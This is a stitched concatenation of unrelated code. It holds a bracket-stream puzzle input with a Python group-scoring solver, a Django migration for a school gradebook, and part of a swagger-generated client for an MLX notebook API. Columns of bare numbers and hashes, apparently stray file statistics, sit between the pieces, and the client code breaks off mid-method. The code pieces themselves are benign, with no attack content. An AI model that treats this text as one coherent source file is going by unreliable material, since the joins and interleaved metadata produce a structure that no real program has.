!!oe!>},<!!!>}!ii!>!!e!>,<\">},{{<!!!>!>,<!!!>!!!>!!!>!!oe!>},<!!>},<!}!!e>}}}},{{{{{{<i!>!>!!!>eai<!>},<!!{,!>,<!!\"!!'{!}!>i>}},{{{<!!!>!!!!!>,<\"'!!}!!!}!>eu!!!!!>},<!!i!>,<,>}}},{}},{<}a!>},<!!{!>,<eo!!{!!!>!!!!!<>,{<!>},<!u!!!>u{}io,{'iu!>,<!!!>>}},{{}}},{{{{<!>!!'!!!>},<\"!!!!<}i{!>,<<!!'\"!!u>},{{},{{<u>}}},{}},{},{}},{{{{<o!>,<!>,<{!!,{i!>}}!\"o!!>}},{}},{{{}},<\"o>}},{{{{{{<\">}}},{<!!!!!>,<\"!e!<{{!>,<'ou>,{<>}}},{{<i!!!!a!'!>!!u!'o\"!!<!!<u!!!>},<!>},<}>},<!>},<{!>,<}!!!>!!'!!!!{!>,<!>,<>}},{{{{{<!>,<<'!>!!a>}},<!>},<\"!!!!!>>},<ei,<<!>>},{{<\"!>!>},<ee!>,<>},{<,!>},<!!!>!>i!!}a}{}!>\",!}eu>,{<e}!>,<a!>},<eo>}}}},{{<}o!!!>!>,>},{}}},{{},{},{}}},{{{{<!!!>!!!!!>uo,!>},<<i!>\"!!!>!o!>,<!!i!{>}},{{},<ae!!!>,<!>e,!!!>,<!>},<a>}},{{<<{\"!>},<i}u<!>,<!!!><'\"!>},<\">,{{<o!!!!!><}i!',!>},<!>},<e\"!!!>}>,<!{{o!!!!oe>}}},{{{{<!!!>\"e!>},<oo!>,<!!}!!!><>},<>}},{<\"<\"u,!!!>e!!}!i<a}!!!>!>a>,<'\"'a!{!>,<'!>},<>},{{<}}ia!!!>!>},<,!>\"!>a!>>},{<!!!!a!!\"<!!!>},<>}}},{{<u!>!!!>!oo,!!!><!>,<eu>},{{},<}!>'!},i'>}}},{{{{<!>e!!<'i!>,<\"!!\"e>,<<{!!!>!>!!!'!!}!'eai!uu!>>}},{{{},{<!!e<!>},<e<!!euo'!>'!o!><oe!!!>>,{<!ai!!ia!>}<!>,<}>}},{{<>,{}},{{{},{}},{{<{\"<i\"<!e'!\"!>},<!!a{!!'>}}},{<!>,<!>,<!!!>!!!>e>,{{}}}}},{{<e<,\"<}i!!!ii\"!!!!>}},{{{{{{{{<!!!!!!i!!!!!>},<!,{!!>}},{<!!,!>},<<a!!!>i,o}a!>,<o>}},{}},{{}}}},{<{\"!>,<!>},<>,<!>},<!!!>!>!!'o!>i!iua\"\"!!!>},<u,e>},{<i!!o!!!!!>!!\"!>},<!!!>!!!>!>,>}},{}}},{<\"'{<,i<<'\"!>},<'!>},<!!!>>,{<}!a!!{>}}},{{{<aa!!!>!>},<a!!!>o}!>},<e!>!>,<<iae!>},<>}},<,>},{{{<!>},<}}a\",!eo!>},<e!>},<<uii>}}}},{{{{{{}},{{}},{{{{{<!!'\",o!!iia,ae!!i!!i>}},<!>,<u>}},{}}},{{<u<'>,{<\"!!\"!>},<!!!>u!!!>!>!>!>},<ao\"e'>}},{{}}}},{{{<!!<!!!>!{!}!>e>},<!>>},{{{<!>,<!<!>},<a,u!!!>i<{>}},{<o'a{i'e<!!!>!!!><!!!!}\"!!!>a<<!!!>!!!>>,{<>}},{<!>,<e!}!!!!<}ii}u>,{<>}}},{{{{{}},{<!>}!>,<u!>{!!o!>,<{oe\"!>>}},<!!!!!>!!ue!>},<'u!!!>a'>},{<{!!<>,<}a!!!>!>ooa>}}},{{{{{{}},{}}}},{{{<<!>,<!>},<!>,<<e>},{<!!\"!!!!a>,{<}!>,<!>},<!!>}}},<{!!!>},<!<!>!!u!>},<!!!!a!!!>!!!><>},{{<>},{{{<,,!!!>!{{>}}}}}},{{<!>!!!>uu{!!{>,<a!><!{<oaa!>},<ie!!!>!!{,!!!>,<\">},{<u!!!>u!!!>}!>a!!!><!!,<!!!>!!!>u,>,{<a>}}}}},{{<\"!!!>,<'!!!>!ao>},{<!!{>,<\"{!>},<<o,}oi!!a!!!>!!!>>},{{{}},{<a>,{}}}}},{{{<!>,<'!>},<,!>,<ei!>!!!!!!!a!!!>>,{{},{<!!!>!!!>o>}}},{{},{}},{{{<ea{}ae!>!>ee<\"!!!>,<>}},{<!!,u{u!!e'i!!!>!>,<i!!i\"\"u!>>}}},{{<,a!!!>!!}{e!>}o!>>,{<},\"!a!>!>}}!!!>,!!!>\"o!>},<'i{>}},{{<o!u!!,!!!>!!'<}!!,<!'!>,<u\"e!!!>},<>},{<>}}},{{{{{<!>,<!>,<'!!!'\"!}<!!!>>},{<<,{ei>}}},{{{{<!>},<,<\"i!!e!!'i!>},<\"!!!>!!!>!!!>,<>},<!!<>},{<u!>}!>,<,!>,<i!!!>!!i!!!>{!>,<>}},{{},{<!>,<u!!!><'u!!'!}!e!\"!>{a!o!>},<,!>!>,<!>,<>,<o'!!!>!i\"!!<<!>},<a!!!>}>}}},{{<{!!!>>}}},{{<{!>},<!!!>'!!!>,<!!i\"o!>>}}},{{{<a!!aii!>,<uo!>,<,>},{<!>},<!>,<e<i>},{{{<!<ee!>!>!!!!!>},<>},<!>},<<\"<!a>}}},{{{<'!!!>!!!!!!<!}!>!>},<!>au!i!>u!!!>\"<!!u>},{<!>,<a!>},<\"!!!\"}!!u,<{<'au!!{!>,<>}},{{<{!>},<'iioa!>o'''!!!>u!!!>},<>},{{<i!>},<!>,<u!>>},<!\"!>,<<{!ue!!!>i!>!>},<!>>},{<ae!>,<\">,{<oau>}}},{{<i!>},<!!>,{<i!!!!!><u!>!>},<o>,{<o{!>>}}},{{{}},<!,!e<\"!!!!a!!'!!!i!>,<!>},<oa!>,<!!,e!>i>},{{<e!!!>!>},<o!>,<<!>,<ua,e!!!!a{>},<>}}},{{{<{a!>,<!>,<!>},<\"{{'>},{<{>,{<!!!>o<\"i!>},<!!o!!!!!>!!!>e!!!><!!o\"!!i!>,<!!!>>}},{{<>}}},{{{<!!!!!>>}},<!>\"iu'!!a!>},<,!!i!>a<!>e!>},<!>>}},{{<{<!>\">},{<!!<}!!!!<u}{>,{<!!<!!!>,!>},<!>!!!>!>},<!!!!<e!!<<!!!'!!au>,{{{}},{<!!e{!>},<{!<i>}}}},{{<}u{}oo''{'<!>},<>,{{{<u'!,!!e{!!!!<!!u>},{{<u!!}!!!!!>!}a!!!!!>>},<!'!!,!>!!!!!>uo!o}!!!>,o>}}}},{{{<e'e'{!>},<!o!!<a<>},{<!>!!<aai!>,<!!!>{e!!>}},{<>,{}},{<i!>u{a'!>,<!>!auu\"!>,<o!a,>}},{<'ae{!!!>!>{!>,<>}}}}}},{},{{{{<e!!i!!!a\",!>,<<o,!>o!>},<!>},<>},{<!\"a!>},<uae!!ei!>!>!!!>>}},{<{iu!>},<!>a\">,<{'\"o!!!>},<!>},<!!!!!>!<!}!>},<{,\"a!!!!\"!>},<>},{{<ue!>,<\"o!>!>,<!>},<>},{<\"!!e\"!!!>!>,<u>,{<'!>,!!'!!aia}!>},<!!!>},<<!!!!u!!!>!><e<>}}}},{{{<!>,<,>,{{<<u>}}}},{{{<{u<io!>,<'<u!{\"e<}{!>,<\"!>>}},{{<!!!>>}}},{<,\"{u'!>!>,<!\">,{{{<!>,<ea!!!>a!!!!!a!\"!},!>o!>,<\",!!!,u!!!>},<>}},{<!>,<!>},<}\"!>,<!!''<,{!!<ii!!i!>o>}}}},{{{{<ouoi<!>},<!ui!!e!>},<!!!!a>},<!>},<a!!e!>,<!!!>'!>o!>!\"{ae{a!!a<i!>>},<i{>},{<i,>,<a!<'i<i'!a\"a!i{<!>!>},<!>,<\"!>a>}},{{<,{}i!}'!{!>>},{}}},{{{{<i>},{<!o!!!!!>,<a!!!>>,<!>,<e'{o!!!>,<>}},{{<>},{<>,{<!!}<\"!!!!!!\"!!!>!!!>e!!!>!>a!o!,ue,{!ua>}}},{{{<>},{<!>,<,}\"!!ao\"!>,<<!!!!!!!!!>,<!>>}},{<}!!!>!!uo}!!!!!!!>,<!!!>!o,u!>,<!!!>a!!,!>>,{<e>}},{{<{!!!>,<!>},<\",\"i!!>,{{<{i'!!{\"\"i!!!>,<!uau,!!!}\"e!>>},{{<o>}}}},{},{<!>,<a!>,<{i!!!!!>}a,!!u!>},<!!!>\"!>},<!{>,{}}}}}}}}" def puzzle(): def track_garbage(idx): i = 1 count = 0 while stream[idx + i] != '>': if stream[idx + i] == '!': i += 2 else: i += 1 count += 1 return i, count def track_group(idx, score): level = score count = 0 i = 1 while stream[idx + i] != '}': if stream[idx + i] == '!': # skip the next character i += 2 continue elif stream[idx + i] == '<': # start of some garbage dif, c = track_garbage(idx + i) i += dif count += c continue elif stream[idx + i] == '{': # start of a new group s, dif, c = track_group(idx + i, level + 1) score += s i += dif + 1 count += c else: # random character i += 1 return score, i, count s, i, c = track_group(0, 1) return s, c if __name__ == "__main__": p1, p2 = puzzle() print("1: {}\n2: {}".format(p1, p2))
421.115385
20,645
0.118641
1,778
21,898
1.453881
0.08324
0.044101
0.017408
0.00619
0.139652
0.060735
0.048743
0.02089
0
0
0
0.000941
0.028998
21,898
51
20,646
429.372549
0.120632
0.005754
0
0.421053
0
0.5
0.614812
0.565469
0
0
0
0
0
1
0.078947
false
0
0
0
0.157895
0.026316
0
0
1
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
1
1
0
0
0
0
1
1
1
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
b833d96446873d737a94be13cac176343da30f72
9,276
py
Python
api/gradebook/migrations/0001_initial.py
Latiftanga/TagnatekAPI
8ad609a5d7097051796d25d9b532c770d32ac304
[ "MIT" ]
null
null
null
api/gradebook/migrations/0001_initial.py
Latiftanga/TagnatekAPI
8ad609a5d7097051796d25d9b532c770d32ac304
[ "MIT" ]
null
null
null
api/gradebook/migrations/0001_initial.py
Latiftanga/TagnatekAPI
8ad609a5d7097051796d25d9b532c770d32ac304
[ "MIT" ]
null
null
null
# Generated by Django 3.2.10 on 2022-01-10 17:51 from django.db import migrations, models import django.db.models.deletion class Migration(migrations.Migration): initial = True dependencies = [ ('core', '0007_alter_user_school'), ('students', '0009_auto_20220106_1611'), ('staff', '0010_alter_appointment_staff'), ] operations = [ migrations.CreateModel( name='Assignment', fields=[ ('id', models.BigAutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('name', models.CharField(max_length=64, unique=True)), ('date', models.DateField(default=True)), ('points', models.DecimalField(decimal_places=1, max_digits=3)), ('created', models.DateTimeField(auto_now_add=True)), ('created_by', models.CharField(blank=True, max_length=64)), ('updated', models.DateTimeField(auto_now=True)), ('updated_by', models.CharField(blank=True, max_length=64)), ], ), migrations.CreateModel( name='ClassType', fields=[ ('id', models.BigAutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('name', models.CharField(max_length=65, unique=True)), ('created', models.DateTimeField(auto_now_add=True)), ('created_by', models.CharField(blank=True, max_length=64)), ('updated', models.DateTimeField(auto_now=True)), ('updated_by', models.CharField(blank=True, max_length=64)), ], ), migrations.CreateModel( name='Grade', fields=[ ('id', models.BigAutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('name', models.CharField(max_length=64, unique=True)), ('min_points', models.DecimalField(decimal_places=1, max_digits=4)), ('max_points', models.DecimalField(decimal_places=1, max_digits=4)), ('remark', models.CharField(max_length=64)), ('created', models.DateTimeField(auto_now_add=True)), ('created_by', models.CharField(blank=True, max_length=64)), ('updated', models.DateTimeField(auto_now=True)), ('updated_by', models.CharField(blank=True, max_length=64)), ], ), migrations.CreateModel( name='Subject', fields=[ ('id', models.BigAutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('name', models.CharField(max_length=64, unique=True)), ('created', models.DateTimeField(auto_now_add=True, null=True)), ('created_by', models.CharField(blank=True, max_length=64)), ('updated', models.DateTimeField(auto_now=True, null=True)), ('updated_by', models.CharField(blank=True, max_length=64)), ], ), migrations.CreateModel( name='Year', fields=[ ('id', models.BigAutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('start_date', models.DateField()), ('end_date', models.DateField()), ('is_active', models.BooleanField(default=True)), ('created', models.DateTimeField(auto_now_add=True)), ('created_by', models.CharField(blank=True, max_length=64)), ('updated', models.DateTimeField(auto_now=True)), ('updated_by', models.CharField(blank=True, max_length=64)), ('school', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='years', to='core.school')), ], ), migrations.CreateModel( name='Term', fields=[ ('id', models.BigAutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('name', models.CharField(max_length=64)), ('start_date', models.DateField()), ('end_date', models.DateField()), ('is_active', models.BooleanField(default=True)), ('created', models.DateTimeField(auto_now_add=True)), ('created_by', models.CharField(blank=True, max_length=64)), ('updated', models.DateTimeField(auto_now=True)), ('updated_by', models.CharField(blank=True, max_length=64)), ('year', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='terms', to='gradebook.year')), ], ), migrations.CreateModel( name='Score', fields=[ ('id', models.BigAutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('points', models.DecimalField(blank=True, decimal_places=1, max_digits=4, null=True)), ('created', models.DateTimeField(auto_now_add=True)), ('created_by', models.CharField(blank=True, max_length=64)), ('updated', models.DateTimeField(auto_now=True)), ('updated_by', models.CharField(blank=True, max_length=64)), ('assignment', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='scores', to='gradebook.assignment')), ('student', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='scores', to='students.student')), ], ), migrations.CreateModel( name='Period', fields=[ ('id', models.BigAutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('name', models.CharField(max_length=32, unique=True)), ('start_time', models.TimeField()), ('end_time', models.TimeField()), ('created', models.DateTimeField(auto_now_add=True)), ('created_by', models.CharField(blank=True, max_length=64)), ('updated', models.DateTimeField(auto_now=True)), ('updated_by', models.CharField(blank=True, max_length=64)), ('school', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='periods', to='core.school')), ], ), migrations.CreateModel( name='Class', fields=[ ('id', models.BigAutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('created', models.DateTimeField(auto_now_add=True)), ('created_by', models.CharField(blank=True, max_length=64)), ('updated', models.DateTimeField(auto_now=True)), ('updated_by', models.CharField(blank=True, max_length=64)), ('class_type', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='classes', to='gradebook.classtype', verbose_name='type')), ('periods', models.ManyToManyField(blank=True, related_name='classes', to='gradebook.Period')), ('students', models.ManyToManyField(blank=True, related_name='classes', to='students.Student')), ('subject', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='classes', to='gradebook.subject')), ('teacher', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='classes', to='staff.staff')), ('term', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='classes', to='gradebook.term')), ], options={ 'verbose_name': 'class', 'verbose_name_plural': 'classes', }, ), migrations.CreateModel( name='AssignmentType', fields=[ ('id', models.BigAutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('name', models.CharField(max_length=64, unique=True)), ('points', models.DecimalField(decimal_places=1, max_digits=4)), ('created', models.DateTimeField(auto_now_add=True)), ('created_by', models.CharField(blank=True, max_length=64)), ('updated', models.DateTimeField(auto_now=True)), ('updated_by', models.CharField(blank=True, max_length=64)), ('school', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='assignment_types', to='core.school')), ], ), migrations.AddField( model_name='assignment', name='assignment_type', field=models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='assignments', to='gradebook.assignmenttype'), ), migrations.AddField( model_name='assignment', name='students', field=models.ManyToManyField(related_name='assignments', through='gradebook.Score', to='students.Student'), ), ]
55.54491
166
0.588724
940
9,276
5.62766
0.118085
0.079395
0.054064
0.098299
0.81569
0.809074
0.775047
0.775047
0.756144
0.710586
0
0.015497
0.262613
9,276
166
167
55.879518
0.757895
0.004959
0
0.654088
1
0
0.129931
0.010511
0
0
0
0
0
1
0
false
0
0.012579
0
0.037736
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
b85a91d0807cc29f4836d24c14e7e2489b7b859a
49,884
py
Python
api/client/swagger_client/api/notebook_service_api.py
Zachary-Fernandes/mlx
d5117c5585b969ca0de5f321d14b5a27cd468280
[ "Apache-2.0" ]
null
null
null
api/client/swagger_client/api/notebook_service_api.py
Zachary-Fernandes/mlx
d5117c5585b969ca0de5f321d14b5a27cd468280
[ "Apache-2.0" ]
null
null
null
api/client/swagger_client/api/notebook_service_api.py
Zachary-Fernandes/mlx
d5117c5585b969ca0de5f321d14b5a27cd468280
[ "Apache-2.0" ]
null
null
null
# Copyright 2021 The MLX Contributors # # SPDX-License-Identifier: Apache-2.0 # coding: utf-8 """ MLX API MLX API Extension for Kubeflow Pipelines # noqa: E501 OpenAPI spec version: 0.1.29-filter-categories Generated by: https://github.com/swagger-api/swagger-codegen.git """ from __future__ import absolute_import import re # noqa: F401 # python 2 and python 3 compatibility library import six from swagger_client.api_client import ApiClient class NotebookServiceApi(object): """NOTE: This class is auto generated by the swagger code generator program. Do not edit the class manually. Ref: https://github.com/swagger-api/swagger-codegen """ def __init__(self, api_client=None): if api_client is None: api_client = ApiClient() self.api_client = api_client def approve_notebooks_for_publishing(self, notebook_ids, **kwargs): # noqa: E501 """approve_notebooks_for_publishing # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.approve_notebooks_for_publishing(notebook_ids, async_req=True) >>> result = thread.get() :param async_req bool :param list[str] notebook_ids: Array of notebook IDs to be approved for publishing. (required) :return: None If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True if kwargs.get('async_req'): return self.approve_notebooks_for_publishing_with_http_info(notebook_ids, **kwargs) # noqa: E501 else: (data) = self.approve_notebooks_for_publishing_with_http_info(notebook_ids, **kwargs) # noqa: E501 return data def approve_notebooks_for_publishing_with_http_info(self, notebook_ids, **kwargs): # noqa: E501 """approve_notebooks_for_publishing # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.approve_notebooks_for_publishing_with_http_info(notebook_ids, async_req=True) >>> result = thread.get() :param async_req bool :param list[str] notebook_ids: Array of notebook IDs to be approved for publishing. (required) :return: None If the method is called asynchronously, returns the request thread. """ all_params = ['notebook_ids'] # noqa: E501 all_params.append('async_req') all_params.append('_return_http_data_only') all_params.append('_preload_content') all_params.append('_request_timeout') params = locals() for key, val in six.iteritems(params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method approve_notebooks_for_publishing" % key ) params[key] = val del params['kwargs'] # verify the required parameter 'notebook_ids' is set if ('notebook_ids' not in params or params['notebook_ids'] is None): raise ValueError("Missing the required parameter `notebook_ids` when calling `approve_notebooks_for_publishing`") # noqa: E501 collection_formats = {} path_params = {} query_params = [] header_params = {} form_params = [] local_var_files = {} body_params = None if 'notebook_ids' in params: body_params = params['notebook_ids'] # Authentication setting auth_settings = [] # noqa: E501 return self.api_client.call_api( '/notebooks/publish_approved', 'POST', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type=None, # noqa: E501 auth_settings=auth_settings, async_req=params.get('async_req'), _return_http_data_only=params.get('_return_http_data_only'), _preload_content=params.get('_preload_content', True), _request_timeout=params.get('_request_timeout'), collection_formats=collection_formats) def create_notebook(self, body, **kwargs): # noqa: E501 """create_notebook # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.create_notebook(body, async_req=True) >>> result = thread.get() :param async_req bool :param ApiNotebook body: (required) :return: ApiNotebook If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True if kwargs.get('async_req'): return self.create_notebook_with_http_info(body, **kwargs) # noqa: E501 else: (data) = self.create_notebook_with_http_info(body, **kwargs) # noqa: E501 return data def create_notebook_with_http_info(self, body, **kwargs): # noqa: E501 """create_notebook # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.create_notebook_with_http_info(body, async_req=True) >>> result = thread.get() :param async_req bool :param ApiNotebook body: (required) :return: ApiNotebook If the method is called asynchronously, returns the request thread. """ all_params = ['body'] # noqa: E501 all_params.append('async_req') all_params.append('_return_http_data_only') all_params.append('_preload_content') all_params.append('_request_timeout') params = locals() for key, val in six.iteritems(params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method create_notebook" % key ) params[key] = val del params['kwargs'] # verify the required parameter 'body' is set if ('body' not in params or params['body'] is None): raise ValueError("Missing the required parameter `body` when calling `create_notebook`") # noqa: E501 collection_formats = {} path_params = {} query_params = [] header_params = {} form_params = [] local_var_files = {} body_params = None if 'body' in params: body_params = params['body'] # Authentication setting auth_settings = [] # noqa: E501 return self.api_client.call_api( '/notebooks', 'POST', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='ApiNotebook', # noqa: E501 auth_settings=auth_settings, async_req=params.get('async_req'), _return_http_data_only=params.get('_return_http_data_only'), _preload_content=params.get('_preload_content', True), _request_timeout=params.get('_request_timeout'), collection_formats=collection_formats) def delete_notebook(self, id, **kwargs): # noqa: E501 """delete_notebook # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.delete_notebook(id, async_req=True) >>> result = thread.get() :param async_req bool :param str id: (required) :return: None If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True if kwargs.get('async_req'): return self.delete_notebook_with_http_info(id, **kwargs) # noqa: E501 else: (data) = self.delete_notebook_with_http_info(id, **kwargs) # noqa: E501 return data def delete_notebook_with_http_info(self, id, **kwargs): # noqa: E501 """delete_notebook # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.delete_notebook_with_http_info(id, async_req=True) >>> result = thread.get() :param async_req bool :param str id: (required) :return: None If the method is called asynchronously, returns the request thread. """ all_params = ['id'] # noqa: E501 all_params.append('async_req') all_params.append('_return_http_data_only') all_params.append('_preload_content') all_params.append('_request_timeout') params = locals() for key, val in six.iteritems(params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method delete_notebook" % key ) params[key] = val del params['kwargs'] # verify the required parameter 'id' is set if ('id' not in params or params['id'] is None): raise ValueError("Missing the required parameter `id` when calling `delete_notebook`") # noqa: E501 collection_formats = {} path_params = {} if 'id' in params: path_params['id'] = params['id'] # noqa: E501 query_params = [] header_params = {} form_params = [] local_var_files = {} body_params = None # Authentication setting auth_settings = [] # noqa: E501 return self.api_client.call_api( '/notebooks/{id}', 'DELETE', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type=None, # noqa: E501 auth_settings=auth_settings, async_req=params.get('async_req'), _return_http_data_only=params.get('_return_http_data_only'), _preload_content=params.get('_preload_content', True), _request_timeout=params.get('_request_timeout'), collection_formats=collection_formats) def download_notebook_files(self, id, **kwargs): # noqa: E501 """Returns the notebook artifacts compressed into a .tgz (.tar.gz) file. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.download_notebook_files(id, async_req=True) >>> result = thread.get() :param async_req bool :param str id: (required) :param bool include_generated_code: Include generated run script in download :return: file If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True if kwargs.get('async_req'): return self.download_notebook_files_with_http_info(id, **kwargs) # noqa: E501 else: (data) = self.download_notebook_files_with_http_info(id, **kwargs) # noqa: E501 return data def download_notebook_files_with_http_info(self, id, **kwargs): # noqa: E501 """Returns the notebook artifacts compressed into a .tgz (.tar.gz) file. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.download_notebook_files_with_http_info(id, async_req=True) >>> result = thread.get() :param async_req bool :param str id: (required) :param bool include_generated_code: Include generated run script in download :return: file If the method is called asynchronously, returns the request thread. """ all_params = ['id', 'include_generated_code'] # noqa: E501 all_params.append('async_req') all_params.append('_return_http_data_only') all_params.append('_preload_content') all_params.append('_request_timeout') params = locals() for key, val in six.iteritems(params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method download_notebook_files" % key ) params[key] = val del params['kwargs'] # verify the required parameter 'id' is set if ('id' not in params or params['id'] is None): raise ValueError("Missing the required parameter `id` when calling `download_notebook_files`") # noqa: E501 collection_formats = {} path_params = {} if 'id' in params: path_params['id'] = params['id'] # noqa: E501 query_params = [] if 'include_generated_code' in params: query_params.append(('include_generated_code', params['include_generated_code'])) # noqa: E501 header_params = {} form_params = [] local_var_files = {} body_params = None # HTTP header `Accept` header_params['Accept'] = self.api_client.select_header_accept( ['application/gzip']) # noqa: E501 # Authentication setting auth_settings = [] # noqa: E501 return self.api_client.call_api( '/notebooks/{id}/download', 'GET', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='file', # noqa: E501 auth_settings=auth_settings, async_req=params.get('async_req'), _return_http_data_only=params.get('_return_http_data_only'), _preload_content=params.get('_preload_content', False), _request_timeout=params.get('_request_timeout'), collection_formats=collection_formats) def generate_notebook_code(self, id, **kwargs): # noqa: E501 """generate_notebook_code # noqa: E501 Generate sample code to use notebook in a pipeline # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.generate_notebook_code(id, async_req=True) >>> result = thread.get() :param async_req bool :param str id: (required) :return: ApiGenerateCodeResponse If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True if kwargs.get('async_req'): return self.generate_notebook_code_with_http_info(id, **kwargs) # noqa: E501 else: (data) = self.generate_notebook_code_with_http_info(id, **kwargs) # noqa: E501 return data def generate_notebook_code_with_http_info(self, id, **kwargs): # noqa: E501 """generate_notebook_code # noqa: E501 Generate sample code to use notebook in a pipeline # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.generate_notebook_code_with_http_info(id, async_req=True) >>> result = thread.get() :param async_req bool :param str id: (required) :return: ApiGenerateCodeResponse If the method is called asynchronously, returns the request thread. """ all_params = ['id'] # noqa: E501 all_params.append('async_req') all_params.append('_return_http_data_only') all_params.append('_preload_content') all_params.append('_request_timeout') params = locals() for key, val in six.iteritems(params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method generate_notebook_code" % key ) params[key] = val del params['kwargs'] # verify the required parameter 'id' is set if ('id' not in params or params['id'] is None): raise ValueError("Missing the required parameter `id` when calling `generate_notebook_code`") # noqa: E501 collection_formats = {} path_params = {} if 'id' in params: path_params['id'] = params['id'] # noqa: E501 query_params = [] header_params = {} form_params = [] local_var_files = {} body_params = None # Authentication setting auth_settings = [] # noqa: E501 return self.api_client.call_api( '/notebooks/{id}/generate_code', 'GET', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='ApiGenerateCodeResponse', # noqa: E501 auth_settings=auth_settings, async_req=params.get('async_req'), _return_http_data_only=params.get('_return_http_data_only'), _preload_content=params.get('_preload_content', True), _request_timeout=params.get('_request_timeout'), collection_formats=collection_formats) def get_notebook(self, id, **kwargs): # noqa: E501 """get_notebook # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.get_notebook(id, async_req=True) >>> result = thread.get() :param async_req bool :param str id: (required) :return: ApiNotebook If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True if kwargs.get('async_req'): return self.get_notebook_with_http_info(id, **kwargs) # noqa: E501 else: (data) = self.get_notebook_with_http_info(id, **kwargs) # noqa: E501 return data def get_notebook_with_http_info(self, id, **kwargs): # noqa: E501 """get_notebook # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.get_notebook_with_http_info(id, async_req=True) >>> result = thread.get() :param async_req bool :param str id: (required) :return: ApiNotebook If the method is called asynchronously, returns the request thread. """ all_params = ['id'] # noqa: E501 all_params.append('async_req') all_params.append('_return_http_data_only') all_params.append('_preload_content') all_params.append('_request_timeout') params = locals() for key, val in six.iteritems(params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method get_notebook" % key ) params[key] = val del params['kwargs'] # verify the required parameter 'id' is set if ('id' not in params or params['id'] is None): raise ValueError("Missing the required parameter `id` when calling `get_notebook`") # noqa: E501 collection_formats = {} path_params = {} if 'id' in params: path_params['id'] = params['id'] # noqa: E501 query_params = [] header_params = {} form_params = [] local_var_files = {} body_params = None # Authentication setting auth_settings = [] # noqa: E501 return self.api_client.call_api( '/notebooks/{id}', 'GET', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='ApiNotebook', # noqa: E501 auth_settings=auth_settings, async_req=params.get('async_req'), _return_http_data_only=params.get('_return_http_data_only'), _preload_content=params.get('_preload_content', True), _request_timeout=params.get('_request_timeout'), collection_formats=collection_formats) def get_notebook_template(self, id, **kwargs): # noqa: E501 """get_notebook_template # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.get_notebook_template(id, async_req=True) >>> result = thread.get() :param async_req bool :param str id: (required) :return: ApiGetTemplateResponse If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True if kwargs.get('async_req'): return self.get_notebook_template_with_http_info(id, **kwargs) # noqa: E501 else: (data) = 